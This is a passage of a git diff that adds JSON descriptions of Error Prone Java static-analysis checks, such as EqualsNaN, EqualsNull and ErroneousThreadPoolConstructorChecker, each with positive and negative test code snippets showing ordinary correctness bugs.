java.util.Objects;\n\n/** Checks for objects with recursive type bounds. */\npublic class EqualsIncompatibleTypeRecursiveTypes {\n\n interface Bar {}\n\n final class ConcreteBar implements Bar {}\n\n static class Foo> implements Bar {\n T field;\n\n void check(Foo other) {\n // OK since Enum and Enum are not incompatible\n this.field.equals(other.field);\n }\n\n > void badCheck(Bar other) {\n // BUG: Diagnostic contains: T and X are incompatible\n this.equals(other);\n }\n }\n\n interface RandomInterface {}\n\n interface Entity<\n E extends Entity,\n K extends EntityKey,\n V extends Enum,\n V2 extends Enum> {}\n\n interface EntityKey> extends Comparable {}\n\n static final class EK1 implements EntityKey {\n @Override\n public int compareTo(EK1 o) {\n return 0;\n }\n }\n\n static final class E1 implements Entity, RandomInterface {}\n\n static final class E2 implements Entity, RandomInterface {}\n\n void testMultilayer(Class> eClazz, Class e2Clazz) {\n if (Objects.equals(eClazz, E1.class)) {\n System.out.println(\"yay\");\n }\n\n if (Objects.equals(eClazz, E2.class)) {\n System.out.println(\"yay\");\n }\n\n if (Objects.equals(e2Clazz, E2.class)) {\n System.out.println(\"yay\");\n }\n\n // BUG: Diagnostic contains: E2 and E1 are incompatible.\n if (Objects.equals(e2Clazz, E1.class)) {\n System.out.println(\"boo\");\n }\n }\n\n interface First> {\n default A get() {\n return null;\n }\n }\n\n interface Second extends First> {}\n\n interface Third extends Second {}\n\n interface Fourth extends Second {}\n\n void testing(Third third, Fourth fourth) {\n // BUG: Diagnostic contains: Third and Fourth\n boolean equals = third.equals(fourth);\n }\n\n interface RecOne extends Comparable> {}\n\n interface RecTwo extends Comparable> {}\n\n void testMultiRecursion(RecOne a, RecTwo b) {\n // BUG: Diagnostic contains: RecOne and RecTwo\n boolean bad = a.equals(b);\n }\n\n interface Quux> {}\n\n interface Quuz> extends Quux {}\n\n interface Quiz> extends Quux {}\n\n interface Id1 extends Quuz {}\n\n interface Id2 extends Quiz {}\n\n abstract static class Id3 implements Quuz, Quiz {}\n\n void test(Id1 first, Id3 second) {\n // BUG: Diagnostic contains: Id1 and Id3\n boolean res = Objects.equals(first, second);\n }\n\n class I {}\n\n class J, B extends I, C extends I> {}\n\n <\n A1 extends I,\n B1 extends I,\n C1 extends I,\n A2 extends I,\n B2 extends I,\n C2 extends I>\n void something(J j1, J j2) {\n // Technically this could work, since there's nothing stopping A1 == A2, etc.\n boolean equals = j1.equals(j2);\n }\n}\\" + }, + { + "description": "primitiveBoxingIntoObject", + "expected-problems": null, + "expected-linenumbers": [ + 537 + ], + "code": "class Test {\n void something(boolean b, Object o) {\n o.equals(b);\n }\n }" + }, + { + "description": "i547", + "expected-problems": null, + "expected-linenumbers": [ + 556 + ], + "code": "class Test {\n interface B {}\n\n void t(T x) {\n // BUG: Diagnostic contains: T and String\n x.equals(\"foo\");\n }\n }" + }, + { + "description": "prettyNameForConflicts", + "expected-problems": null, + "expected-linenumbers": [ + 574 + ], + "code": "class Test {\n interface B {}\n\n interface String {}\n\n void t(String x) {\n // BUG: Diagnostic contains: types Test.String and java.lang.String\n x.equals(\"foo\");\n }\n }" + }, + { + "description": "methodReference_incompatibleTypes_finding", + "expected-problems": null, + "expected-linenumbers": [ + 594 + ], + "code": "import java.util.stream.Stream;\n\n class Test {\n boolean t(Stream xs, String x) {\n // BUG: Diagnostic contains:\n return xs.anyMatch(x::equals);\n }\n }" + }, + { + "description": "methodReference_comparableTypes_noFinding", + "expected-problems": null, + "expected-linenumbers": [ + 612 + ], + "code": "import java.util.stream.Stream;\n\n class Test {\n boolean t(Stream xs, Object x) {\n return xs.anyMatch(x::equals);\n }\n }" + }, + { + "description": "wildcards_whenIncompatible", + "expected-problems": null, + "expected-linenumbers": [ + 629 + ], + "code": "public class Test {\n public void test(Class a, Class b) {\n // BUG: Diagnostic contains:\n a.equals(b);\n }\n }" + }, + { + "description": "unconstrainedWildcard_compatibleWithAnything", + "expected-problems": null, + "expected-linenumbers": [ + 645 + ], + "code": "import com.google.errorprone.bugpatterns.proto.ProtoTest.TestProtoMessage;\n\n public class Test {\n public void test(java.lang.reflect.Method m, Class c) {\n TestProtoMessage.class.equals(m.getParameterTypes()[0]);\n TestProtoMessage.class.equals(c);\n }\n }" + }, + { + "description": "enumsCanBeEqual", + "expected-problems": null, + "expected-linenumbers": [ + 663 + ], + "code": "class Test {\n enum E {\n A,\n B\n }\n\n public void test() {\n E.A.equals(E.B);\n }\n }" + }, + { + "description": "protoBuildersCannotBeEqual", + "expected-problems": null, + "expected-linenumbers": [ + 683 + ], + "code": "import com.google.errorprone.bugpatterns.proto.ProtoTest.TestProtoMessage;\n import com.google.errorprone.bugpatterns.proto.ProtoTest.TestOneOfMessage;\n\n public class Test {\n public void test() {\n // BUG: Diagnostic contains: . Though\n TestProtoMessage.newBuilder().equals(TestProtoMessage.newBuilder());\n // BUG: Diagnostic contains:\n TestProtoMessage.newBuilder().equals(TestOneOfMessage.newBuilder());\n // BUG: Diagnostic contains:\n TestProtoMessage.newBuilder().equals(TestOneOfMessage.getDefaultInstance());\n }\n }" + }, + { + "description": "enumsNamedBuilderCanBeEqual", + "expected-problems": null, + "expected-linenumbers": [ + 706 + ], + "code": "public class Test {\n enum FooBuilder {\n A\n }\n\n public boolean test(FooBuilder a, FooBuilder b) {\n return a.equals(b);\n }\n }" + }, + { + "description": "flaggedOff_protoBuildersNotConsideredIncomparable", + "expected-problems": null, + "expected-linenumbers": [ + 725 + ], + "code": "import com.google.errorprone.bugpatterns.proto.ProtoTest.TestProtoMessage;\n\npublic class Test {\n public void test() {\n TestProtoMessage.newBuilder().equals(TestProtoMessage.newBuilder());\n TestProtoMessage.getDefaultInstance().equals(TestProtoMessage.getDefaultInstance());\n }\n}" + }, + { + "description": "protoBuilderComparedWithinAutoValue", + "expected-problems": null, + "expected-linenumbers": [ + 744 + ], + "code": "import com.google.auto.value.AutoValue;\n import com.google.errorprone.bugpatterns.proto.ProtoTest.TestProtoMessage;\n\n @AutoValue\n abstract class Test {\n abstract TestProtoMessage.Builder b();\n }\n \n\n import javax.annotation.processing.Generated;\n\n @Generated(\"com.google.auto.value.processor.AutoValueProcessor\")\n abstract class AutoValue_Test extends Test {\n @Override\n public boolean equals(Object o) {\n return ((Test) o).b().equals(b());\n }\n }" + }, + { + "description": "predicateIsEqual_incompatible", + "expected-problems": null, + "expected-linenumbers": [ + 774 + ], + "code": "import static java.util.function.Predicate.isEqual;\n import java.util.stream.Stream;\n\n class Test {\n boolean test(Stream xs) {\n // BUG: Diagnostic contains:\n return xs.allMatch(isEqual(1));\n }\n }" + }, + { + "description": "predicateIsEqual_compatible", + "expected-problems": null, + "expected-linenumbers": [ + 793 + ], + "code": "import static java.util.function.Predicate.isEqual;\n import java.util.stream.Stream;\n\n class Test {\n boolean test(Stream xs) {\n return xs.allMatch(isEqual(1L));\n }\n }" + }, + { + "description": "predicateIsEqual_methodRef", + "expected-problems": null, + "expected-linenumbers": [ + 811 + ], + "code": "import java.util.function.Function;\n import java.util.function.Predicate;\n import java.util.stream.Stream;\n\n class Test {\n boolean test(Function> fn) {\n // BUG: Diagnostic contains:\n return test(Predicate::isEqual);\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/EqualsNaN.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/EqualsNaN.json new file mode 100644 index 0000000..35a8817 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/EqualsNaN.json @@ -0,0 +1,30 @@ +{ + "name": "EqualsNaN", + "language": "java", + "description": "== NaN always returns false; use the isNaN methods instead", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 84, + "branches": 10, + "apis": 2, + "test": [ + { + "description": "positiveCase", + "expected-problems": null, + "expected-linenumbers": [ + 33 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n /**\n * @author lowasser@google.com (Louis Wasserman)\n */\n public class EqualsNaNPositiveCases {\n\n // BUG: Diagnostic contains: Double.isNaN(0.0)\n static final boolean ZERO_DOUBLE_NAN = 0.0 == Double.NaN;\n\n // BUG: Diagnostic contains: !Double.isNaN(1.0)\n static final boolean ONE_NOT_DOUBLE_NAN = Double.NaN != 1.0;\n\n // BUG: Diagnostic contains: Float.isNaN(2.f)\n static final boolean TWO_FLOAT_NAN = 2.f == Float.NaN;\n\n // BUG: Diagnostic contains: !Float.isNaN(3.0f)\n static final boolean THREE_NOT_FLOAT_NAN = 3.0f != Float.NaN;\n\n // BUG: Diagnostic contains: Double.isNaN(Double.NaN)\n static final boolean NAN_IS_NAN = Double.NaN == Double.NaN;\n\n // BUG: Diagnostic contains: Double.isNaN(123456)\n static final boolean INT_IS_NAN = 123456 == Double.NaN;\n }\\" + }, + { + "description": "negativeCase", + "expected-problems": null, + "expected-linenumbers": [ + 68 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n /**\n * @author lowasser@google.com (Louis Wasserman)\n */\n public class EqualsNaNNegativeCases {\n static final boolean NAN_AFTER_MATH = (0.0 / 0.0) == 1.0;\n static final boolean NORMAL_COMPARISON = 1.0 == 2.0;\n }\\" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/EqualsNull.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/EqualsNull.json new file mode 100644 index 0000000..5879e68 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/EqualsNull.json @@ -0,0 +1,110 @@ +{ + "name": "EqualsNull", + "language": "java", + "description": "The contract of Object.equals() states that for any non-null reference value x, x.equals(null) should return false. If x is null, a NullPointerException is thrown. Consider replacing equals() with the == operator.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 84, + "branches": 6, + "apis": 1, + "test": [ + { + "description": "negativeSimpleCase", + "expected-problems": null, + "expected-linenumbers": [ + 37 + ], + "code": "class Test {\n boolean m(Object x, Object y) {\n return x.equals(y);\n }\n }" + }, + { + "description": "negativeJUnit4TestClass", + "expected-problems": null, + "expected-linenumbers": [ + 52 + ], + "code": "import org.junit.runner.RunWith;\n import org.junit.runners.JUnit4;\n\n @RunWith(JUnit4.class)\n class Test {\n boolean m(Object x) {\n return x.equals(null);\n }\n }" + }, + { + "description": "negativeTestNgTestClass", + "expected-problems": null, + "expected-linenumbers": [ + 71 + ], + "code": "package org.testng.annotations;\n\n public @interface Test {}\n \n\n import org.testng.annotations.Test;\n\n @Test\n class MyTest {\n boolean m(Object x) {\n return x.equals(null);\n }\n }" + }, + { + "description": "negativeAssertClass", + "expected-problems": null, + "expected-linenumbers": [ + 96 + ], + "code": "import org.junit.Assert;\n\n class AssertHelper extends Assert {\n public static void myAssert(Object x) {\n x.equals(null);\n }\n }" + }, + { + "description": "negativeAssertClass", + "expected-problems": null, + "expected-linenumbers": [ + 96 + ], + "code": "import org.junit.Assert;\n\n class AssertHelper extends Assert {\n public static void myAssert(Object x) {\n x.equals(null);\n }\n }" + }, + { + "description": "negativeEnclosedByJUnitAssert", + "expected-problems": null, + "expected-linenumbers": [ + 113 + ], + "code": "import static org.junit.Assert.assertFalse;\n\n class TestHelper {\n public static void myAssert(Object x) {\n assertFalse(x.equals(null));\n }\n }" + }, + { + "description": "negativeEnclosedByTruthAssert", + "expected-problems": null, + "expected-linenumbers": [ + 130 + ], + "code": "import static com.google.common.truth.Truth.assertThat;\n\n class TestHelper {\n public static void myAssert(Object x) {\n assertThat(x.equals(null)).isFalse();\n }\n }" + }, + { + "description": "positiveSimpleCase", + "expected-problems": null, + "expected-linenumbers": [ + 147 + ], + "code": "" + }, + { + "description": "positiveReturnObjectEqualsNullFix", + "expected-problems": null, + "expected-linenumbers": [ + 161 + ], + "code": "class Test {\n boolean m(Object x) {\n return x.equals(null);\n }\n }\n \n\n class Test {\n boolean m(Object x) {\n return x == null;\n }\n }" + }, + { + "description": "positiveReturnObjectNotEqualsNullFix", + "expected-problems": null, + "expected-linenumbers": [ + 185 + ], + "code": "class Test {\n boolean m(Object x) {\n return !x.equals(null);\n }\n }\n \n\n class Test {\n boolean m(Object x) {\n return x != null;\n }\n }" + }, + { + "description": "positiveIfObjectEqualsNullFix", + "expected-problems": null, + "expected-linenumbers": [ + 209 + ], + "code": "class Test {\n void m(Object x) {\n if (x.equals(null)) {\n return;\n }\n }\n }\n \n\n class Test {\n void m(Object x) {\n if (x == null) {\n return;\n }\n }\n }" + }, + { + "description": "positiveMethodReturnValueNotEqualsNullFix", + "expected-problems": null, + "expected-linenumbers": [ + 237 + ], + "code": "class Test {\n boolean m(Object x) {\n return !x.toString().equals(null);\n }\n }\n \n\n class Test {\n boolean m(Object x) {\n return x.toString() != null;\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/EqualsReference.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/EqualsReference.json new file mode 100644 index 0000000..a576ff6 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/EqualsReference.json @@ -0,0 +1,30 @@ +{ + "name": "EqualsReference", + "language": "java", + "description": "== must be used in equals method to check equality to itself or an infinite loop will occur.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 89, + "branches": 9, + "apis": 3, + "test": [ + { + "description": "positiveCases", + "expected-problems": null, + "expected-linenumbers": [ + 32 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n /** Created by mariasam on 6/22/17. */\n public class EqualsReferencePositiveCases {\n\n @Override\n // BUG: Diagnostic contains: ==\n public boolean equals(Object o) {\n System.out.println(this.equals(o));\n return true;\n }\n\n class EqualsInElse {\n @Override\n // BUG: Diagnostic contains: ==\n public boolean equals(Object o) {\n System.out.println(o == this);\n return this.equals(o);\n }\n }\n\n class FinalObject {\n @Override\n // BUG: Diagnostic contains: ==\n public boolean equals(final Object object) {\n return this.equals(object);\n }\n }\n\n class NoThis {\n @Override\n // BUG: Diagnostic contains: ==\n public boolean equals(Object o) {\n return equals(o);\n }\n }\n }\\" + }, + { + "description": "negativeCases", + "expected-problems": null, + "expected-linenumbers": [ + 79 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n /** Created by mariasam on 6/23/17. */\n public class EqualsReferenceNegativeCases {\n\n @Override\n public boolean equals(Object o) {\n return (this == o);\n }\n\n class OtherEquals {\n @Override\n public boolean equals(Object o) {\n if (o.equals(\"hi\")) {\n return true;\n } else {\n return o == this;\n }\n }\n }\n\n class EqualsThisLast {\n @Override\n public boolean equals(Object o) {\n if (o instanceof EqualsThisLast) {\n return true;\n }\n return o.equals(this);\n }\n }\n\n class Foo {\n @Override\n public boolean equals(Object o) {\n return o instanceof Foo && this.equals((Foo) o);\n }\n\n public boolean equals(Foo o) {\n return true;\n }\n }\n\n class OtherEqualsMethod {\n @Override\n public boolean equals(Object o) {\n return equals((String) o);\n }\n\n public boolean equals(String o) {\n return true;\n }\n }\n\n class CodeBase {\n public CodeBase(Object o) {}\n\n public boolean equals(Object obj) {\n CodeBase other = (CodeBase) obj;\n return equals(new CodeBase(other.getValue()));\n }\n\n public Object getValue() {\n return null;\n }\n }\n }\\" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/EqualsUnsafeCast.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/EqualsUnsafeCast.json new file mode 100644 index 0000000..b8f0e21 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/EqualsUnsafeCast.json @@ -0,0 +1,54 @@ +{ + "name": "EqualsUnsafeCast", + "language": "java", + "description": "The contract of #equals states that it should return false for incompatible types, while this implementation may throw ClassCastException.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 96, + "branches": 9, + "apis": 1, + "test": [ + { + "description": "fixes", + "expected-problems": null, + "expected-linenumbers": [ + 35 + ], + "code": "class Test {\n private int a;\n\n @Override\n public boolean equals(Object o) {\n Test that = (Test) o;\n return that.a == a;\n }\n }\n \n\n class Test {\n private int a;\n\n @Override\n public boolean equals(Object o) {\n if (!(o instanceof Test)) {\n return false;\n }\n Test that = (Test) o;\n return that.a == a;\n }\n }" + }, + { + "description": "fixesInlineCheck", + "expected-problems": null, + "expected-linenumbers": [ + 70 + ], + "code": "class Test {\n private int a;\n\n @Override\n public boolean equals(Object o) {\n return o != null && a == ((Test) o).a;\n }\n }\n \n\n class Test {\n private int a;\n\n @Override\n public boolean equals(Object o) {\n if (!(o instanceof Test)) {\n return false;\n }\n return o != null && a == ((Test) o).a;\n }\n }" + }, + { + "description": "positiveWrongType", + "expected-problems": null, + "expected-linenumbers": [ + 103 + ], + "code": "class SubTest extends Test {\n private int a;\n\n @Override\n public boolean equals(Object o) {\n if (!(o instanceof Test)) {\n return false;\n }\n // BUG: Diagnostic contains: instanceof SubTest\n return o != null && a == ((SubTest) o).a;\n }\n }\n\n class Test {}" + }, + { + "description": "negative_classEquality", + "expected-problems": null, + "expected-linenumbers": [ + 127 + ], + "code": "class Test {\n private int a;\n\n @Override\n public boolean equals(Object o) {\n if (getClass() == o.getClass()) {\n return false;\n }\n return o != null && a == ((Test) o).a;\n }\n }" + }, + { + "description": "negative_instanceOf", + "expected-problems": null, + "expected-linenumbers": [ + 148 + ], + "code": "class Test {\n private int a;\n\n @Override\n public boolean equals(Object o) {\n if (!(o instanceof Test)) {\n return false;\n }\n return o != null && a == ((Test) o).a;\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/EqualsUsingHashCode.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/EqualsUsingHashCode.json new file mode 100644 index 0000000..1360f7f --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/EqualsUsingHashCode.json @@ -0,0 +1,38 @@ +{ + "name": "EqualsUsingHashCode", + "language": "java", + "description": "Implementing #equals by just comparing hashCodes is fragile. Hashes collide frequently, and this will lead to false positives in #equals.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 78, + "branches": 4, + "apis": 2, + "test": [ + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 34 + ], + "code": "import com.google.common.base.Objects;\n\n class Test {\n private int a;\n\n @Override\n public boolean equals(Object o) {\n Test that = (Test) o;\n return o.hashCode() == hashCode() && a == that.a;\n }\n }" + }, + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 55 + ], + "code": "class Test {\n private int a;\n private int b;\n\n @Override\n public boolean equals(Object o) {\n // BUG: Diagnostic contains:\n return o.hashCode() == hashCode();\n }\n }" + }, + { + "description": "positiveBinary", + "expected-problems": null, + "expected-linenumbers": [ + 75 + ], + "code": "class Test {\n private int a;\n private int b;\n\n @Override\n public boolean equals(Object o) {\n // BUG: Diagnostic contains:\n return o instanceof Test && o.hashCode() == hashCode();\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/EqualsWrongThing.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/EqualsWrongThing.json new file mode 100644 index 0000000..bae02a3 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/EqualsWrongThing.json @@ -0,0 +1,78 @@ +{ + "name": "EqualsWrongThing", + "language": "java", + "description": "Comparing different pairs of fields/getters in an equals implementation is probably a mistake.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 156, + "branches": 18, + "apis": 5, + "test": [ + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 34 + ], + "code": "import com.google.common.base.Objects;\n\n class Test {\n private int a;\n private int b;\n\n @Override\n public boolean equals(Object o) {\n Test that = (Test) o;\n return a == that.a && Objects.equal(b, that.b);\n }\n }" + }, + { + "description": "negativeUnordered", + "expected-problems": null, + "expected-linenumbers": [ + 56 + ], + "code": "class Test {\n private int a;\n private int b;\n\n @Override\n public boolean equals(Object o) {\n Test that = (Test) o;\n return (a == that.a && b == that.b) || (a == that.b && b == that.a);\n }\n }" + }, + { + "description": "negativeMixOfGettersAndFields", + "expected-problems": null, + "expected-linenumbers": [ + 76 + ], + "code": "class Test {\n private int a;\n private int b;\n private Object c;\n\n private int getA() {\n return a;\n }\n\n private int getB() {\n return b;\n }\n\n @Override\n public boolean equals(Object o) {\n Test that = (Test) o;\n return this.a == that.getA() && this.b == that.getB() && c.equals(that.c);\n }\n }" + }, + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 105 + ], + "code": "class Test {\n private int a;\n private int b;\n\n @Override\n public boolean equals(Object o) {\n Test that = (Test) o;\n // BUG: Diagnostic contains: comparison between `a` and `b`\n return a == that.b && b == that.b;\n }\n }" + }, + { + "description": "positiveGetters", + "expected-problems": null, + "expected-linenumbers": [ + 126 + ], + "code": "class Test {\n private int a;\n private int b;\n\n private int getA() {\n return a;\n }\n\n private int getB() {\n return b;\n }\n\n @Override\n public boolean equals(Object o) {\n Test that = (Test) o;\n // BUG: Diagnostic contains: comparison between `getA()` and `getB()`\n return getA() == that.getB() && getB() == that.getB();\n }\n }" + }, + { + "description": "positiveObjects", + "expected-problems": null, + "expected-linenumbers": [ + 155 + ], + "code": "import com.google.common.base.Objects;\n\n class Test {\n private int a;\n private int b;\n\n @Override\n public boolean equals(Object o) {\n Test that = (Test) o;\n // BUG: Diagnostic contains: comparison between `a` and `b`\n return Objects.equal(a, that.b) && b == that.b;\n }\n }" + }, + { + "description": "positiveEquals", + "expected-problems": null, + "expected-linenumbers": [ + 178 + ], + "code": "class Test {\n private Object a;\n private Object b;\n\n @Override\n public boolean equals(Object o) {\n Test that = (Test) o;\n // BUG: Diagnostic contains: comparison between `a` and `b`\n return a.equals(that.b) && b == that.b;\n }\n }" + }, + { + "description": "negativeArraysEquals", + "expected-problems": null, + "expected-linenumbers": [ + 199 + ], + "code": "import java.util.Arrays;\n\n class Test {\n boolean test(int[] a, int[] b) {\n return Arrays.equals(a, 0, 1, b, 2, 3);\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ErroneousBitwiseExpression.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ErroneousBitwiseExpression.json new file mode 100644 index 0000000..7c5fc2d --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ErroneousBitwiseExpression.json @@ -0,0 +1,30 @@ +{ + "name": "ErroneousBitwiseExpression", + "language": "java", + "description": "This expression evaluates to 0. If this isn't an error, consider expressing it as a literal 0.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 51, + "branches": 2, + "apis": 1, + "test": [ + { + "description": "bitwiseAnd", + "expected-problems": null, + "expected-linenumbers": [ + 29 + ], + "code": "class Test {\n // BUG: Diagnostic contains: 1 | 2\n double flags = 1 & 2;\n }" + }, + { + "description": "bitwiseAnd_noFinding", + "expected-problems": null, + "expected-linenumbers": [ + 43 + ], + "code": "class Test {\n double flags = 2 & 10;\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ErroneousThreadPoolConstructorChecker.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ErroneousThreadPoolConstructorChecker.json new file mode 100644 index 0000000..039f441 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ErroneousThreadPoolConstructorChecker.json @@ -0,0 +1,70 @@ +{ + "name": "ErroneousThreadPoolConstructorChecker", + "language": "java", + "description": "Thread pool size will never go beyond corePoolSize if an unbounded queue is used", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 93, + "branches": 10, + "apis": 1, + "test": [ + { + "description": "positiveCases", + "expected-problems": null, + "expected-linenumbers": [ + 36 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\nimport static java.util.Comparator.comparingInt;\nimport static java.util.concurrent.TimeUnit.SECONDS;\n\nimport java.util.Collection;\nimport java.util.concurrent.LinkedBlockingDeque;\nimport java.util.concurrent.LinkedBlockingQueue;\nimport java.util.concurrent.LinkedTransferQueue;\nimport java.util.concurrent.PriorityBlockingQueue;\nimport java.util.concurrent.ThreadPoolExecutor;\n\n/**\n * Positive test cases for {@link\n * com.google.errorprone.bugpatterns.ErroneousThreadPoolConstructorChecker} bug pattern.\n */\nfinal class ErroneousThreadPoolConstructorCheckerPositiveCases {\n\n private static final int CORE_POOL_SIZE = 10;\n private static final int MAXIMUM_POOL_SIZE = 20;\n private static final long KEEP_ALIVE_TIME = 60;\n\n private void createThreadPoolWithUnboundedLinkedBlockingQueue(Collection initialTasks) {\n // BUG: Diagnostic contains: ErroneousThreadPoolConstructorChecker\n new ThreadPoolExecutor(\n CORE_POOL_SIZE, MAXIMUM_POOL_SIZE, KEEP_ALIVE_TIME, SECONDS, new LinkedBlockingQueue<>());\n // BUG: Diagnostic contains: ErroneousThreadPoolConstructorChecker\n new ThreadPoolExecutor(\n CORE_POOL_SIZE,\n MAXIMUM_POOL_SIZE,\n KEEP_ALIVE_TIME,\n SECONDS,\n new LinkedBlockingQueue<>(initialTasks));\n }\n\n private void createThreadPoolWithUnboundedLinkedBlockingDeque(Collection initialTasks) {\n // BUG: Diagnostic contains: ErroneousThreadPoolConstructorChecker\n new ThreadPoolExecutor(\n CORE_POOL_SIZE, MAXIMUM_POOL_SIZE, KEEP_ALIVE_TIME, SECONDS, new LinkedBlockingDeque<>());\n // BUG: Diagnostic contains: ErroneousThreadPoolConstructorChecker\n new ThreadPoolExecutor(\n CORE_POOL_SIZE,\n MAXIMUM_POOL_SIZE,\n KEEP_ALIVE_TIME,\n SECONDS,\n new LinkedBlockingDeque<>(initialTasks));\n }\n\n private void createThreadPoolWithUnboundedLinkedTransferQueue(Collection initialTasks) {\n // BUG: Diagnostic contains: ErroneousThreadPoolConstructorChecker\n new ThreadPoolExecutor(\n CORE_POOL_SIZE, MAXIMUM_POOL_SIZE, KEEP_ALIVE_TIME, SECONDS, new LinkedTransferQueue<>());\n // BUG: Diagnostic contains: ErroneousThreadPoolConstructorChecker\n new ThreadPoolExecutor(\n CORE_POOL_SIZE,\n MAXIMUM_POOL_SIZE,\n KEEP_ALIVE_TIME,\n SECONDS,\n new LinkedTransferQueue<>(initialTasks));\n }\n\n private void createThreadPoolWithUnboundedPriorityBlockingQueue(\n int initialCapacity, Collection initialTasks) {\n // BUG: Diagnostic contains: ErroneousThreadPoolConstructorChecker\n new ThreadPoolExecutor(\n CORE_POOL_SIZE, MAXIMUM_POOL_SIZE, KEEP_ALIVE_TIME, SECONDS, new PriorityBlockingQueue<>());\n // BUG: Diagnostic contains: ErroneousThreadPoolConstructorChecker\n new ThreadPoolExecutor(\n CORE_POOL_SIZE,\n MAXIMUM_POOL_SIZE,\n KEEP_ALIVE_TIME,\n SECONDS,\n new PriorityBlockingQueue<>(initialTasks));\n // BUG: Diagnostic contains: ErroneousThreadPoolConstructorChecker\n new ThreadPoolExecutor(\n CORE_POOL_SIZE,\n MAXIMUM_POOL_SIZE,\n KEEP_ALIVE_TIME,\n SECONDS,\n new PriorityBlockingQueue<>(initialCapacity));\n // BUG: Diagnostic contains: ErroneousThreadPoolConstructorChecker\n new ThreadPoolExecutor(\n CORE_POOL_SIZE,\n MAXIMUM_POOL_SIZE,\n KEEP_ALIVE_TIME,\n SECONDS,\n new PriorityBlockingQueue<>(initialCapacity, comparingInt(Object::hashCode)));\n }\n}\\" + }, + { + "description": "negativeCases", + "expected-problems": null, + "expected-linenumbers": [ + 135 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\nimport static java.util.concurrent.TimeUnit.SECONDS;\n\nimport java.util.Collection;\nimport java.util.concurrent.ArrayBlockingQueue;\nimport java.util.concurrent.LinkedBlockingDeque;\nimport java.util.concurrent.LinkedBlockingQueue;\nimport java.util.concurrent.SynchronousQueue;\nimport java.util.concurrent.ThreadPoolExecutor;\n\n/**\n * Negative test cases for {@link\n * com.google.errorprone.bugpatterns.ErroneousThreadPoolConstructorChecker} bug pattern.\n */\nfinal class ErroneousThreadPoolConstructorCheckerNegativeCases {\n\n private static final int CORE_POOL_SIZE = 10;\n private static final int MAXIMUM_POOL_SIZE = 20;\n private static final long KEEP_ALIVE_TIME = 60;\n\n private void createThreadPoolWithUnboundedQueue() {\n new ThreadPoolExecutor(\n MAXIMUM_POOL_SIZE,\n MAXIMUM_POOL_SIZE,\n KEEP_ALIVE_TIME,\n SECONDS,\n new LinkedBlockingQueue<>());\n }\n\n private void createThreadPoolWithUnboundedQueueAndEmptyPool() {\n new ThreadPoolExecutor(0, 1, KEEP_ALIVE_TIME, SECONDS, new LinkedBlockingQueue<>());\n }\n\n private void createThreadPoolWithBoundedArrayBlockingQueue(\n int initialCapacity, boolean fair, Collection initialTasks) {\n new ThreadPoolExecutor(\n CORE_POOL_SIZE,\n MAXIMUM_POOL_SIZE,\n KEEP_ALIVE_TIME,\n SECONDS,\n new ArrayBlockingQueue<>(initialCapacity));\n new ThreadPoolExecutor(\n CORE_POOL_SIZE,\n MAXIMUM_POOL_SIZE,\n KEEP_ALIVE_TIME,\n SECONDS,\n new ArrayBlockingQueue<>(initialCapacity, fair));\n new ThreadPoolExecutor(\n CORE_POOL_SIZE,\n MAXIMUM_POOL_SIZE,\n KEEP_ALIVE_TIME,\n SECONDS,\n new ArrayBlockingQueue<>(initialCapacity, fair, initialTasks));\n }\n\n private void createThreadPoolWithBoundedLinkedBlockingQueue(int capacity) {\n new 